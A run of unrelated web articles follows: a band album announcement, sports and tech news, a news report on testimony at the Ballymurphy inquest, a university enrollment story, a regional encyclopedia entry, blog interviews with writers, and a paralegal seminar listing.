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Imperial Teen announce first album in seven years, share first single “We Do What We Do Best”
Imperial Teen are back in a big way with Now We Are Timeless, their first album in seven years! Listen to “We Do What We Do Best” now, and pre-order Now We Are Timeless starting today on CD, LP, and limited-edition “blue ice” Peak Vinyl in the Merge store, or wherever records are sold.
Listen to & share “We Do What We Do Best” by Imperial Teen now
The four-headed hydra that is Imperial Teen provided this statement in unison:
Using our voice is all we can do. We step up, collective and proud, this family of ours that’s sustained and explored creatively for over twenty years. We’re not saying we do what we do better than anyone, but the individuality of our collective voice is all that we have and it’s what we do. We Do What We Do Best.
Imperial Teen’s releases over the past 20+ years have been pointed and specific diaries of musical celebration, windows into the hypersensitive personal drama of relationships within the band, individual conquests and failures, and collective, aspirational hopes, dreams, and perspectives. Roddy Bottum, Will Schwartz, Jone Stebbins, and Lynn Perko Truell—who they’ve become, how they are dealing, and what their lives are in 2019—all of this is on Now We Are Timeless.
The band wrote and recorded the new album in the cities the individual members have geographically gravitated to: New York City, the Bay Area, Denver, and Los Angeles. Themes of time and movement, averting and succumbing to crisis, dealing with loss and pain are all represented on the record, but what rings triumphant is the undeniable joy and catharsis that come from the band’s spontaneous and improvisational approach to making music together.
Imperial Teen have announced a handful of performances this year, including MRG30 in North Carolina, so do your eyes and ears justice by picking up tickets to the show nearest you, and pre-order Now We Are Timeless today!
<a href=”http://imperialteen.bandcamp.com/album/now-we-are-timeless”>Now We Are Timeless by Imperial Teen</a>
Imperial Teen on tour:
Jul 25 Brooklyn, NY – Baby’s All Right
Jul 26 Carrboro, NC – Cat’s Cradle (MRG30) [SOLD OUT]
Aug 02 San Francisco, CA – Rickshaw Stop
Aug 03 Los Angeles, CA – The Echo
‹ FLOOD MAGAZINE: PREMIERE: Imperial Teen Feel Connected on “Walkaway”
Brooklyn Vegan: Listen to Imperial Teen’s “We Do What We Do Best” from first album in 7 years ›
Los Angeles, CA - Zebulon
BUY TICKET NOW!
San Francisco, CA - The Chapel - Noise Pop 2020 - ALL AGES!
© 2019 Imperial Teen | Site by Jon Krop @ atomicpopmonkey | Privacy Policy
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Hero Motorsports mourns demise of Paulo Goncalves
Jeddah [Saudi Arabia], Jan 12 (ANI): Hero MotoSports Team Rally is profoundly grieved by the demise of its Portuguese rider, Paulo Goncalves who passed away this morning during the 7th stage of the Dakar Rally 2020.
Paulo, aged 40, met with a fatal accident after 276-kilometers of the 339-mile route Dakar Rally ride from Riyadh to Wadi Al Dawasir. The organizers received an alert at 10:08 and dispatched a medical helicopter that reached the biker at 10:16 and found him unconscious after going into cardiac arrest. Following resuscitation efforts in situ, the competitor was taken by helicopter to Layla Hospital, where he was sadly pronounced dead.
He has had an illustrious journey in the rally-racing world, including a series of remarkable performances at the world's most prestigious rallies. He was crowned as the 2013 FIM Cross Country Rally World Champion. He also held the runners-up position at the Dakar Rally in 2015.
Wolfgang Fischer, Head - Hero MotoSports Team Rally said in s statement: "Words cannot describe our shock and loss at this moment. It isn't just a team, it is a family for us and we are devastated with the passing away of one of our members, Paulo Goncalves. He joined the Team in April last year and within no time became an integral part of the Hero MotoSports Team family."
"He will be dearly missed and always be fondly remembered by us. Paulo was a true champion, gentleman, reliable friend to everyone in the racing world and a role model as a sportsman and personality. We extend our deepest condolences to his family and friends," he added. (ANI)
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Prajnesh Gunneswaran advances to final round, Sumit Nagal makes early exit in Australian Open qualifiers
Prajnesh Gunneswaran advanced to the final round of the Australian Open qualifiers. (Reuters/File Photo)
Prajnesh Gunneswaran, India's top-ranked singles player, advanced to the final round of the Australian Open qualifiers in Melbourne on Thursday. He defeated Germany's Yannick Hanfmann 1-6 6-2 6-1 in a closely fought battle that lasted for an hour and 22 minutes.
The 30-year-old will now take on either Federico Coria of Argentina or Ernests Gulbis of Latvia in the final round. Earlier in the opening round, the 122 ranked Indian secured a straight-set win over local wild card Harry Bourchier 6-2 6-4.
Meanwhile, young Indian tennis star Sumit Nagal went down in the first round of qualifiers, losing to World no. 172 Mohamed Safwat in straight sets. This was his second attempt at qualifying for the Australian Open.
Nagal's match, which was scheduled to take place on Wednesday, was rescheduled as the qualifiers were disrupted for a second successive day due to poor air quality caused due to Australian bushfires.
India No. 2 and 21st seed Sumit was out in the delayed first round of qualifying after a 6-7(2), 2-6 loss to Egypt's Safwat in an hour and 28 minutes. He started with two breaks and led 4-1 in the first set but could not maintain the momentum.
Sumit made 28 unforced errors (14 winners) as against Safwat's 27 (who hit 23 winners). After going down a double-break 1-4, Safwat rallied back to take the opening set 7-6(2).
Australian Open Qualifying : Sumit Nagal goes down to ???? Mohamed Safwat(ATP 172) pic.twitter.com/geZawRR7as
— Indian Tennis Daily (@IndTennisDaily) January 16, 2020
The world no. 128, who won the Buenos Aires ATP Challenger in September last year, lost in his previous appearance in an Australian Open qualifier in 2018 where Italy’s Alessandro Giannessi had bested him 7-6, 3-6, 6-3 in the first round.
Among the other Indians in the contention, Ramkumar Ramanathan frittered away a one-set advantage to make an exit. Ramkumar led against 15th seed Argentine before losing steam to suffer a 6-4 4-6 1-6 defeat to yet again collapse in the Qualifiers of a Grand Slam.
The lone Indian contender in women's singles qualifier, Anikta Raina also made an early exit after losing 2-6 6-7 against Bulgaria's Viktoriya Tomova.
The Indian Express Sports is now on Telegram. For more news, videos and podcasts, subscribe to Indian Express Sports on Telegram.
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Nubia Red Magic 3 gaming smartphone officially launched in India
June 17, 2019 Petre PopescuNews, Smartphones, ZTE
Today, Nubia launched their latest gaming smartphone in India. This is a big milestone for the company since India is a big country with a lot of potential customers. Furthermore, mobile gaming in the country has risen in popularity in the past two years thanks mostly to PUBG. Starting today, the Red Bagic 3 can be officially purchased there. For those that don’t know, the Red Magic 3 is a gaming smartphone that comes with many gaming-related features that are not found on most smartphones and it is the first such device to have a fan inside for better cooling.
The Red Magic 3 also comes with top of the line specifications. It has the latest Snapdragon 855 CPU 6GB to 12GB of RAM and 64GB to 256GB of internal storage, depending on the model you choose. It hs a 6.65″ AMOLED screen that runs at 90Hz, similar to the OnePlus 7 Pro. On the back, there is a single 48MP camera and the fingerprint reader and on the front, you will find a 16MP selfie camera. You won’t find any notches or holes in the display, the phone has a more traditional look. But the design is certainly not traditional.
The Red Magic 3 has a very futuristic aspect with the hexagon being the dominant shape. Furthermore, on the back, you will find an RGB light strip that adds a nice extra touch to the overall design. On the side of the device, there are two touch-sensitive buttons that can be mapped to trigger certain actions while in-game and they can be mapped on a per-game basis. This can offer an advantage when playing competitively. The phone is being sold for €479 on the official website, with pricing adjusted for other currencies, depending on the region where you live. more information can be found in our detailed article about the Red Magic 3.
nubia red magic india, red magic 3, red magic 3 india
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Home Latest News Ballymurphy soldiers ‘out of control’
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Ballymurphy soldiers ‘out of control’
May 18, 2019 May 18, 2019 Latest News
Image caption An inquest is examining the deaths of 10 people killed in shootings at Ballymurphy in August 1971
A former paratrooper has broken down in tears at an inquest into the deaths of 10 people in west Belfast, saying that “rogue soldiers” were “out of control” and “shot innocent people”.
The inquest is looking into shootings in August 1971, amid disturbances in Ballymurphy sparked by the introduction of internment without trial.
Relatives of the 10 people fatally shot insist that none of them was armed or involved in any terrorist activity.
Soldier M597 was a member of A Company.
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He said he was in the Henry Taggart Army base shortly after an incident in which four people were fatally shot.
Ballymurphy shootings: Who were the victims?
The base was occupied by B Company but M597 said he knew many of the soldiers from their training in Aldershot in England.
A Company is a military unit consisting of scores of soldiers.
M597 told Belfast Coroners’ Court on Monday that many of the paratroopers he knew were honest, professional soldiers who did the right thing.
But he added that some were “psychopaths” who were dangerous to be around.
He wept briefly as he described seeing three or four bodies in the hall and recalled what the soldiers there told him had happened.
He said the soldiers were on a high, excited, and had clearly enjoyed what they had done.
He said they told him that B Company officers had lost control and that the Army would give them cover for whatever they had done.
M597 said they felt they could “shoot anything that gets in the way”.
Image caption Soldiers from the Parachute Regiment were based at Henry Taggart Army base
He said the soldiers made a joke about the bodies and seemed to show no respect for those they had killed.
“It was a joke to them,” he told the court.
Those killed in Ballymurphy included a mother of eight and a priest.
M597 also said the B Company soldiers had told him that, in their view, “any man or woman walking the street was in the IRA or associated with the IRA and for that reason alone could or would be shot”.
He said the soldiers he met “revelled in what happened”.
Last week, the inquest heard claims that paratroopers had used a man’s skull as an ashtray and that soldiers held a sweepstake on who would kill a gunman first.
They had featured in the book Killing Zone, written by a former fellow soldier, the barrister Henry Gow.
As he was about to leave the court, M597 told the families of the Ballymurphy victims that the claims were false.
“I am truly sorry for any part I played in this and I would like you to leave here not believing what [Henry] Gow told you last week, because it’s not true,” he said.
“I’d hate for you guys to go through the rest of your life thinking that – it’s just not true.”
M597 had earlier described being handed the book while working in the Middle East, reading it and saying to himself: “This is absolute garbage.”
‘Pat on the back’
Earlier on Monday, he explained that on 9 August 1971, he had shot and wounded a petrol bomber on the Falls Road in west Belfast and had accompanied him to hospital.
He said the incident was not properly investigated, but that the battalion adjutant had called him into his office some days later and given him “literally a pat on the back”.
He said the officer had told him “the only mistake you made was not killing the…” and said that the officer then swore.
M597 said he had no memory of making a proper statement.
He said that many months later in court he agreed to drop the charge of petrol bombing against the man because he had nothing against him.
He also described a separate occasion when he was given photographs of shooting victims by a medic or doctor but refused to keep them.
He said he thought: “God, these are real people from here.”
Of those weeks in 1971 he said: “It was sheer bravado – rogue soldiers were out of control, killing people in the street and knowing they would be protected.”
‘Like the Ku Klux Klan’
He also rejected the suggestion from a Ministry of Defence barrister that he had not been at the Henry Taggart base at all, because he could not identify the name of anyone who had discussed the shootings with him.
Asked why he had not raised what he had heard at the time, he said the Parachute Regiment was not much different now to 50 years ago.
“It’s like the Ku Klux Klan, like a brotherhood – they are sticking together.”
He later added: “It wasn’t an organisation where you go to an officer and say that kind of thing.
“You would’ve been in real, deep trouble.”
M597 said he was shocked by what he had found about the Parachute Regiment on social media.
He told the court it was not right that instructions had been posted online urging former soldiers not to cooperate with the inquest – instructions such as “dementia, delay, death”.
He added that he did not “want any part of that”.
‘Denied witnessing abuse’
Earlier on Monday, a former Royal Military policeman told the court he had been at the Henry Taggart base a day after the deaths and had heard stories from the soldiers there about what had happened.
Soldier M928 said that soldiers told him about the shooting of the priest Father Hugh Mullan and heard the rumour that he had been moving a weapon or weapons at the time.
Fr Mullan was shot near Springfield Park, some distance away from the base.
The soldier was asked why he had told investigators three years ago that he had witnessed that incident.
M928 said he had mixed two separate incidents up in his head and when he realised his mistake he had corrected it at the time.
He also denied witnessing the abuse of prisoners at Girdwood Barracks in north Belfast where he often delivered prisoners arrested by the Army.
Ballymurphy inquest
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Middle of the pack: IU growth rate close to Big Ten average
Michael Reschke, (Bloomington) Herald-Times
Enrollment growth of Big Ten institutions from fall 2007 to fall 2017. Compiled by Herald-Times reporter Michael Reschke.Source: The Chronicle of Higher Education Almanac 2019, IU University Institutional Research and Reporting.
Indiana University’s Bloomington campus keeps breaking its own record for the largest class of beginning students. But in comparison with other Big Ten universities, it’s not growing that fast.
Enrollment on IU’s Bloomington campus increased 12.1% from the fall of 2007 to the fall of 2017, according to The Chronicle of Higher Education Almanac 2019. That put IU Bloomington in a tie with the University of Michigan at Ann Arbor for the seventh-fastest growing campus among the Big Ten’s 14 schools.
IU Bloomington’s growth rate was slightly below the Big Ten average of about 12.5%, but that statistic is skewed because of Rutgers University. A merger with the University of Medicine and Dentistry of New Jersey resulted in a 42.4% increase for Rutgers’ New Brunswick campus. Growth rates for all other Big Ten institutions were less than 16%. The median growth rate for the conference was 12.1%.
“We feel that we are where we need to be in terms of our peer institutions,” said David Johnson, vice provost for enrollment management at IU Bloomington.
Seeing where IU’s flagship campus ranks among other Big Ten universities may come as a shock to some Bloomington residents. IU has yet to complete its official census for the fall 2019 semester, but preliminary estimates show a beginner class of more than 8,200. The term “beginner” refers to all undergraduate students who are new to campus and seeking a degree.
© 2020 HeraldTimesOnline, Bloomington, IN
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Herald-Times full text
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North Sumatra (Indonesian: Sumatera Utara) is a province of Indonesia. It is located in the northwest of the island of Sumatra, and its capital is Medan. North Sumatra is fourth most populous province in Indonesia after West Java, East Java and Central Java and the most populous Indonesian province outside Java, with over 13.5 million inhabitants in 2014.
The province of North Sumatra stretches across the island of Sumatra between the Indian Ocean and the Strait Malacca. It borders Aceh province on the northwest and Riau and West Sumatra provinces in the southeast. It has an area of 72,981 km². The province contains a broad, low plain along the Strait of Malacca on which the provincial capital, Medan, is located. In the south and west, the land rises to the mountain range that runs the length of Sumatra, the mountains here are dominated by Lake Toba, formed from the caldera of an ancient volcano. Several large islands in the Indian Ocean off the west coast of Sumatra are currently part of North Sumatra, most notably Nias Island and the Batu Islands.
North Sumatra is a multi-ethnic province. The Malaqqan peoples are regarded as the native people of this province. The Javanese resides around Deli Serdang Regency, including Medan, while the West coast of province is mainly inhabited the Pakpak, Mandailing and Minangkabau peoples. The central region around Lake Toba, is predominantly inhabited by the Batak peoples. The Nias people reside mostly in Nias Island and the surrounding islands. With the opening of tobacco plantations in East Sumatra during the Dutch East India era, the colonial government employed many contract laborers for plantations. The newcomers were Chinese refugees, who were welcomed in Sumatra.
North Sumatra considered as one of top tourism activities in Sumatra Island, just below Riau Islands. According to Ministry of Tourism, North Sumatra is included on top 10 visited province in Indonesia. There are various kind of tourism place that could be found throughout the province, Berastagi is the best known as hilly place with a cooler temperature as the whole province is in tropical region. Lake Toba also the hilly area included a largest volcanic lake with an island in the center. Nias Island and other several islands nearby named Batu Islands is the best place for surfing cause a good sea waves. The capital itself, Medan, has many places of interest, mainly on historical tourism. The city also known for its great and various cuisine.
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Tag Archives: writer
Part 1: Interview with the legendary Robert McKee
Posted by HowDidYouGetThere in Literary, Radio/TV/Film
screenwriter, Story, writer
(My 4-part McKee interview series was originally published on Writing.ie . Warning: this is actually a serious interview, unlike my usual comedic fare. The MAN deserves nothing less!)
“Everything I know about Story Structure, I learned it from Robert McKee. End of Story” Two time Oscar winning Writer/ Director Paul Haggis (Crash, Million Dollar Baby… )
“McKee’s teachings are the law of the land at Pixar” The Pixar Touch
We have all had profound experiences – some hilarious, some *awesome*, some take your breath away, and others so profound it’s hard to express in words. My opportunity to sit one-on-one with the legendary Robert McKee was all. Strike that. It was more.
My brain had to create new pathways in order to absorb even one fully loaded sentence during our two-hour interview. Like tasting a rich spoonful of a 5 Michelin star chef’s finest French bullion, perfected after days of reducing, and decades of learning, hearing McKee speak about the craft of writing shocks the palette with his flavour and subtlety. His broth has been reducing over a lifetime of research and thought. It will explode your senses.
I have broken up the interview into four parts, to be published separately: ‘Subtext vs. Description’, ‘Characters’, ‘Unfolding the Story’ and a surprising angle on ‘The Man behind the Legend’.
I sat on an elegant cream sofa in McKee’s London flat, across a low coffee table from The Man, listening. To interrupt with my paltry questions felt akin to questioning Homer mid-Odyssey.
I’m confident it’s wisdom ye seek, dear reader, thus will pardon my lack of personal descriptions such as, He grabbed a handful of salted nuts from a small ceramic bowl and munched while he talked; that he wore tan slacks; or that his elegant wife Mia sat at their glass dining table at her laptop, preparing the business end of an unending series of lectures 32-hour one-man-shows McKee conducts worldwide, to filled lecture halls everywhere from LA to London to Bejing to Moscow. ( Story Seminar, London: Nov 3-6, Genre Seminar Nov. 19-21)
PART 1: Robert McKee on Subtext vs. Description
What would you say to a novelist who is certain the gods have dictated to them their story, they’ve written it, edited out 10%, but cannot get it published?
McKee: “Never accept the 1st idea off the top of your head. Improvise. Create ten or twenty times more material. Every book, film, and TV show are sitting on the top of your head waiting for you to write every cliché you’ve seen.
Novelists work in a medium where they are allowed to describe too much. Playwrights can’t do this. They know that dialogue is the distillation of conflicts essential between people. There is almost no description in a play. It is all dialogue. No audience is going to sit and watch actors talk about nothing.
Novelists believe their words, all these descriptions, are literary. If the novelist had to write the entire novel in dialogue they’d be scared to death.
If a novelist could lift the images to a poetic level, fine, as long as the writer knows what’s going on underneath this flow of descriptive work. When novelists get in trouble is when that flow of imagery is literal, there’s no subtext, no secrets, no depth. It’s shallow. Nothing going on underneath.
For example: The English Patient has a 3-page description of shadows on walls. It won a Booker Prize. What does this make young writers think? There’s no need to create in depth if describing the surface wins prizes.
On the other side of the coin is Virginia Woolf’s Mrs. Dalloway. As Mrs. Dalloway is preparing for a dinner party, her whole life is going through her mind. Underneath this ordinary preparation is the depth of this woman’s life, it’s meaningful without Woolf ever telling you. What’s ultimately important is what Woolf does NOT say. The reader arrives at this through the workings of the woman’s mind.
In comedy the essence of the comic character is their blind obsession. There’s something they want obsessively. This is immediate subtext. You know Archie Bunker is a bigot, but he doesn’t. You know Inspector Clouseau is a clutz, but he doesn’t.
Always have the subtext–that deeper force or context–that the reader discovers, even if the novelist doesn’t say it.
Over reliance on descriptive talent, on language itself with nothing left unexpressed, unsaid, believing that the language itself is sufficient to draw the reader, is a fault that young writers have. As a result they write a glitter text devoid of subtext and I’m asleep.
It annoys me when a novelist thinks complicated language is complex. A story isn’t complex just because the language is complicated.
No subtext, and your prose will be flat, boring.”
For more McKee wisdom check out the next part of this interview ‘Character’ appearing on writing.ie very soon.
Robert McKee, a Fulbright Scholar, is the author of the international bestseller STORY. STORY won the International Moving Image Book Award and has been translated into 20 languages. STORY is a required reading in the creative writing courses at Harvard, Yale and major universities around the world. McKee’s UK Television programs have been twice nominated for the BAFTA, winning it for J’accuse Citizen Kane. McKee lectures world-wide on the art of writing for page, stage and screen and is the most sought after story consultant in Hollywood, NY and all other film making centers of the world. McKee was portrayed by Emmy Award winning actor Brian Cox in the Colombia Pictures, 4 time Oscar nominated film ADAPTATION.
McKee alumni have won 35 Academy Awards, 164 Nominations, Emmys, Pulitzer & Whitebread Awards
In 2011 alone, McKee Alumni won 7 Oscar Nominations & 2 Oscar wins (Toy Story 3 & Inside Job)
For over 25 years, Robert McKee’s Story Seminar has been the world’s ultimate writing class for over 50,000 screenwriters, filmmakers, TV writers, novelists, industry executives, actors, producers, directors and playwrights.
Interview with John Locke
Posted by HowDidYouGetThere in Literary, Other
comedy, crime novel, private investor, writer
Original interview below posted June 2010. By June 2011 John Locke has become the 1st self-published author to sell a million eBooks on Amazon Kindle, and a Best Selling author on the Official Website of New York Times.
Can I pick ’em or what??
“If Dean Koontz collaborated with Alfred Hitchcock at the circus, [Saving Rachel] would be their brain child.” —Dusty Mills, Vintage DM Book Reviews
(originally published June 2010)
Today’s Guest Star, author of the fast paced Donovan Creed crime novels, owns up to leading a double life! Yes, I was shocked, but I refused to accept less than the raw truth…
HDYGT: Welcome John Locke, please tell us what you do for a living?
John Locke: When I’m not writing the Donovan Creed novels I’m a private investor.
HDYGT: A private investigator who writes crime novels!?
(screechy music)
John Locke: Not investigator—investor. I build or buy shopping centers and manage them for my own portfolio.
HDYGT: (jaw drops) You buy the entire shopping center!? My husband complains when I buy out one measly shop.
John Locke: Well… maybe you need to see the bigger picture.
HDYGT: That’s exactly what I said when he yelled about my 10 ft ‘Screaming Daffodils’ painting!
(more screechy music)
John Locke: (tries not to imagine daffodil painting, but can’t shake it)
HDYGT: What do you like most about being a Private “I”?
John Locke: People think it’s prestigious, but in reality I’m getting big bucks to do what a monkey could do.
HDYGT: This monkey – is he for sale?
John Locke: Excuse me?
HDYGT: I assume he’ll work for peanuts.
John Locke: What monkey?
HDYGT: (winks) Right, our little secret. So what do you think is the key to your brilliant success – other than the monkey?
John Locke: (through clinched teeth) Watch it – I said no monkey business!
HDYGT: Oops, my bad. I won’t bring him up again! How about: What skill set or unique abilities do you think have led to your conquering the concrete jungle?
John Locke: (eyes narrow, wonders if he’s being played) My ability to instantly recognize a deal as being good or bad. If only I had the same ability with regard to the interviews I accept.
HDYGT: Is this ability instinctive or something you’ve EVOLVED into over time?
John Locke: (shrugs) To be successful in my business you have to make more mistakes than the competition, in a shorter period of time.
HDYGT: Hey – I’m good at that!
John Locke: Of course it helps if you actually LEARN from those mistakes…
HDYGT: (baffled by last statement, but shakes it off) What did you do before managing your own portfolio?
John Locke: I owned a life insurance company.
HDYGT: How did you get into life insurance?
John Locke: I quit college with one week to go before graduation in order to sell insurance door-to-door on straight commission. By age 28 I was one of the top insurance sales people in the world. By age 35 I bought my own life insurance company and appointed nearly 7,000 agents in 34 states.
HDYGT: (whistles) Wow. And now you have written a series of page-turner crime novels – or “Button-pushers”, as new Kindle owners say. Any other memorable experiences?
John Locke: I sang in a rock and roll band for ten years. I became quite adept at dodging ice cubes and the miniature fruit people pulled out of their cocktails and hurled at me.
HDYGT: I find miniature fruit dodging is a handy way to practise my fast manoeuvre skills, and reflexes.
John Locke: (embarrassed for HDYGT as she re-enacts her fruit dodging manoruvres) One summer I loaded hundred-pound bags of sugar on pallets in a warehouse until the crew boss went nuts and attacked me with a broken bottle.
HDYGT: Really? What else?
John Locke: (finds HDYGT’s enthusiasm a tad creepy) I tarred roofs in Louisiana, and did fine until the day I got my shoe stuck on a roof and a crew member attacked me with an axe. As memorable experiences go, these come to mind.
HDYGT: Sounds like the Stanislavsky method of experiencing what your characters experience, only for writers. Say–would you mind teaching me? I’m sure I have an axe or a broken bottle in here…(rummages through handbag)
John Locke: (looks alarmed)
HDYGT: While I’m looking for it, how about sharing with our readers your words to live by?
John Locke: Sure: Learn to be nimble on your feet.
HDYGT: Found it! (looks around) John? …John? (Melon balls and pineapple wedges catapult through the air hitting HDYGT with deft precision) There you are! As always, Thank You For Playing!!
In John Locke’s career journey from rock and roll singer—to door-to-door salesman—to the creation of more than a dozen multimillion dollar companies, he has encountered a wellspring of bizarre people from which to craft his unique characters. He is the author of four fiction books, Lethal People, Lethal Experiment, Saving Rachel and Now & Then – JUST OUT; and two nonfiction books, Dynasty in the Making and Qualities of Character. He lives in Kentucky, where he is currently at work on a novel titled Wish List.
Interview with Hazel Larkin
blog sitcom, humorous interview, Mum, parenting, Singapore, Voice Over, writer
Riddle me this:
What job is a truly unique experience yet utterly commonplace? So entertaining the workers never stop talking about it, yet so difficult to perfect it supports a huge How-To book industry? In fact, the best known book on the subject has sold 50 million copies worldwide, second only to the Bible.
Befuddled, Bewildered? Scratching your noggin?
For the answer, please welcome my next delightful guest, Hazel Larkin!
Kristi: Hello Hazel, please tell us what you do?
Hazel: That is such an interesting question. The title of which I am most proud is that of Mum, as it took me ten years (and two husbands!) and a lot of other things, before I finally held my first baby in my arms.
Kristi: How long have you held this position?
Hazel: In reality, seven and a half years. In my heart, I’ve wanted this since I was about 3.
Kristi: That’s an awfully long time to hold a baby. (ba-dum-bum *cymbal crash*)
Hazel: What?
Kristi: Sorry. What do you like most about being a Mum?
Hazel: I like being the boss. I am the sheriff and there is no deputy! I love being with my children most of their waking hours. I love hearing what they say – especially when they don’t realise I can hear/am listening.
Kristi: Other than the obvious, what characteristics do you feel make you particularly good at being a Mum?
Hazel: I’m a bit mad. I also have a degree in psychology…….but I’m not entirely sure that helps on the job!!
Kristi: A mad psychologist. I see what you mean.
Hazel: I also knit; which means I have a great – and productive – way to de-stress.
Kristi: A mad, knitting psychologist. I’m feeling more cozy already. What do you knit—Rorschach test patterns? Any photos of mittens or sweaters you’d like to share?
Hazel: Do I have to?
Kristi: What other positions have you held?
Hazel: I was a freelance writer in Singapore. I wrote for TV, theatre and a variety of publications.
Kristi: Writing in Singapore, that’s exciting!
Hazel: Being a writer certainly made it easier to be a parent. I worked from home so could work around my children, to a large extent. Often, I brought my children to work with me. I had a meeting with a client in Malaysia three days after Kashmira – my youngest – was born.
Kristi: That’s a lovely name.
Hazel: Thank you. She has also been breastfed around three separate boardrooms.
Kristi: They must be the luckiest Board of Directors in the world!
Hazel: A Mum’s gotta do what a Mum’s gotta do.
Kristi: Damn straight! How did you end up where you are, as a happy mother of two?
Hazel: I ended up where I am by believing it would happen. Even when my ex-husband refused to have sex with me (do you know anyone else whose husband would not even try to consummate the marriage for a fortnight after the event??!)
Kristi: I’ve never asked.
Hazel: Even when infertility treatment failed… When my ex-husband refused to consider adoption… When the doctors told me I’d never have children… When my astrologer told me I would never have children. I put my efforts into working out how I would mother, while I was waiting to become a mother.
Kristi: The astrologer must’ve been the hardest blow. But You Did It!! Two lovely children and a very satisfied Board of Directors — Congratulations!
Hazel: It was worth it.
Kristi: Are there any other occupations in your past that you’d like to share with us?
Hazel: I used to do voice-overs in Singapore. I often got things in one-take, but once, a Chinese woman from an ad agency decided that I hadn’t worked enough to earn my money. So she questioned the authenticity of my accent. What accent was I “faking”? An Irish one, which happens to be authentic!!! I also used to teach. My first day in a Singaporean classroom, I had a child in my class whose personal name (God love him!) was Kun Ting. I kid you not. I always called him “Darling”
Kristi: Any life experiences you’d like to share?
Hazel: Nothing I ever do will be nearly as important as mothering. Though, I often muse that more Multi-National Corporations should have divorced mothers on their boards. We are adept at mediation and conflict resolution; fantastic at running a department (home) on a nearly non-existent budget and are wonderful multi-taskers. We think on our feet, fire-fight without blinking and have impeccably finely honed organisational skills.
Kristi: I couldn’t agree more! Thanks so much for sharing your fascinating life with us at How Did You Get There, and as always, Thank you for playing!
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AWOL-72 (2015) with Luke Goss Movie DVD
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Institute For Paralegal Education
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The Corporate Paralegal from A to Z
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Paralegal Education
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Whether you are new to the corporate arena or are looking for a practical paralegal refresher course to gain new insight on old techniques, this legal guide is for you. This guide will provide you with the necessary tools attorneys are seeking to help assist them in all stages of corporate transactions. From preparing documents, researching patents and managing corporate minute books, to assisting with closings of corporate transactions and ensuring compliance; this course has it all (and then some) - order today!
Drafting Corporate Formation Documents
Recordkeeping Techniques
Due Diligence for Business Transactions
Trademarks and Patents
Agenda / Content Covered
All times are shown in Eastern time
10:00 - 11:10, Karen Tobin
Key Terms and Provisions - Review of Sample Charters and Bylaws
Establishing Effective Guidelines for Corporate Governance
Avoiding Mistakes That May Cause Interpretive Challenges
Bylaws: How to Administer and Monitor Changes
Effective Ways to Prepare Corporate Minutes
Administering Minute Books
Keeping Accurate Records of Directors' and Stockholders' Meetings
Recording Elections of Officers and Directors
Maintaining Real Property Related Records
Obtaining Board & Stockholder Consents
Drafting Shareholder Agreements
Maintaining Stock Ledgers and Shareholder Registers
Assisting With the Sale, Transfer and Redemption of Stock
1:15 - 2:30, John Collen
Organizing and Defining the Due Diligence Investigation
Evaluating the Transaction and Ascertaining the Value of the Business
Understanding the Business
Discovering Potential Liabilities or Risks
Defining the Purchase Agreement Parameters
Obtaining Accurate Disclosures in Transaction Documents
Identifying Necessary Approvals and Consents from Third Parties
Obtaining Supporting Documentation for Legal Opinions
Tips for Conducting a Thorough and Efficient Due Diligence Investigation
Documenting Your Findings
2:30 - 3:45, Kenneth P. Kula
Research Standards in Filing Trademark and Corporate Names
Setting Up Procedures and Schedules of Research
Trademark Process
Trade/Service Mark Licensing Issues
Conducting Patent Searches: Research Strategies and Internet Resources
Assignment and Transfer of Intellectual Property
The Company, the Board, the CEO - Who is the Client?
Avoiding Situations That May Expose You to UPL
Requirements for Attorney Supervision
Distinguishing Between Privileged and Non-Privileged Communications
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CA MCLE Paralegal - 6.00 Approval Exp. 9/26/2020
This program meets the California MCLE Paralegal requirement as specified in Business and Professions Code Section 6450(d).
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FL Registered Paralegal - 6.00 Approval Exp. 9/26/2020
This course will qualify for 6.0 hours of self-study continuing education for paralegals, including 1.0 hour of self-study ethics credit, toward the eligibility requirements of the Florida Registered Paralegal Program.
IN Paralegal CLE - 6.00 Approval Exp. 9/26/2020
This course will qualify for 6.0 hours of distance learning continuing education for paralegals, including 1.0 hour of ethics, toward the eligibility requirements as a paralegal affiliate member of the Indiana State Bar Association. No more than 3.0 hours of distance learning CLE credit may be earned during a reporting period.
MT CLE Credit for Paralegals - 6.00 Approval Exp. 9/26/2020
This program may qualify for up to 6.0 hours of self-study CLE credit by the Montana Commission on Continuing Legal Education, including 1.0 hour of ethics. No more than 4.0 hours of self-study CLE credit may be earned during a reporting period.
NALA - 6.00 Approval Exp. 9/26/2020
This seminar meets the requirements of the Certifying Board for Legal Assistants of the National Association of Legal Assistants, Inc., for 6.0 hours, including 1.0 ethics, of continuing legal assistant education self-study credit required to maintain the CLA (Certified Legal Assistant) credential.
OH Certified Paralegals - 6.00 Approval Exp. 9/26/2020
This course will qualify for 6.0 hours of self-study continuing education for paralegals, including 1.0 hour of ethics, toward the eligibility requirements of the Ohio State Bar Association Paralegal Certification program.
NM Paralegal Division, State Bar of NM - 6.00 Approval Exp. 9/26/2020
Approved by the Paralegal Division of the State Bar of New Mexico for 5.0 general self-study credit and 1.0 ethics self-study credit (for a total of 6.0 hours CLE).
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NBI, Inc. is licensed by the New Hampshire Department of Education Office of Career School Licensing. There are no enrollment prerequisites or admissions requirements for this course, and there is no exam or grading system. Satisfactory progress is based solely on attendance at the course. Credits may not be transferred. All refunds shall be paid within 30 days upon written notification from a student of cancellation or withdrawal. Students receiving benefits from federal programs shall be subject to federal refund policies, rules and regulation. Student complaints should be directed to our office at (800) 930-6182. Upon exhausting all avenues with NBI, Inc. for resolution, students may file a complaint with the Office of Career School Licensing at (603) 271-6443.
JOHN COLLEN is a partner with SmithAmundsen LLC, where his practice areas include bankruptcy and creditors' rights and commercial litigation. He has more than 25 years of experience handling Chapter 11 reorganizations, out of court work-outs, creditors' rights litigation, and transactions involving troubled business entities. Mr. Collen handles these matters on behalf of debtors, secured and unsecured creditors, creditors' committees, shareholders, receivers, trustees, landlords, and asset buyers. His clients operate in a variety of industries, including real estate, retail, manufacturing, printing and graphics, airlines, toys, telecommunications, broadcast, health care, music, transportation, entertainment, floor covering and power generation. Mr. Collen serves as an adjunct professor of law in the Bankruptcy LLM Program at St. John's University Law School in New York, and is a member of the American College of Bankruptcy. He earned his A.B. degree, summa cum laude, from Dartmouth College and his J.D. degree from Georgetown University Law Center.
